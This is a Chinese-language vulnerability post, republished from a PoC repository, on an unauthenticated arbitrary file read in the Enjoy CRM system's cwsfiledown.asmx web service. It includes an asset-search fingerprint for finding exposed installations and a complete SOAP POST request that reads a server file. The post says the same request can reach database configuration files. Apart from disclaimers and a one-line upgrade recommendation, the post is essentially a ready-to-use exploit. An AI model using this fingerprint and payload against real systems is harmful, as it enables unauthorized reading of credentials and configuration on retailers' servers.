文章总结： 昂捷CRM系统cwsfiledown.asmx接口存在任意文件读取漏洞，未经认证攻击者可利用该漏洞读取数据库配置等敏感文件，造成严重安全隐患。文章提供了资产测绘指纹及完整的POC复现代码，建议受影响用户及时升级系统至官方安全版本以修复此问题。
综合评分： 84
文章分类： 漏洞POC,漏洞分析
昂捷CRM系统存在任意文件读取漏洞 附POC
原创
安服仔
北风漏洞复现文库
2026年1月8日 00:04
广东
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
#
#
01
—
漏洞名称
昂捷CRM系统 任意文件读取漏洞
02
—
影响版本
03
—
漏洞简介
昂捷CRM系统是深圳市昂捷信息技术股份有限公司为零售行业打造的客户关系管理解决方案，集成了客户信息管理、会员营销、客户服务等功能。昂捷CRM系统cwsfiledown.asmx接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
04
—
资产测绘
body="/ClientBin/slEnjoy.App.xap"
05
—
漏洞复现
POC
POST /EnjoyRMIS_WS/WS/FileDown/cwsfiledown.asmx HTTP/1.1Host: 域名:端口User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: SL_G_WPT_TO=en; SL_GWPT_Show_Hide_tmp=1; SL_wptGlobTipTmp=1Connection: closeContent-Type: text/xml; charset=utf-8Content-Length: 643
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <DownFileBytes xmlns="http://tempuri.org/"> <sFileName>c://windows//win.ini</sFileName> <iPosition>1</iPosition> <iReadBytesLen>100</iReadBytesLen> <bReadBytes>ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg</bReadBytes> </DownFileBytes> </soap:Body></soap:Envelope>
06
—
修复建议
升级系统至官方发布的安全版本。
07
—
往期回顾
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：北风漏洞复现文库 安服仔《昂捷CRM系统存在任意文件读取漏洞 附POC》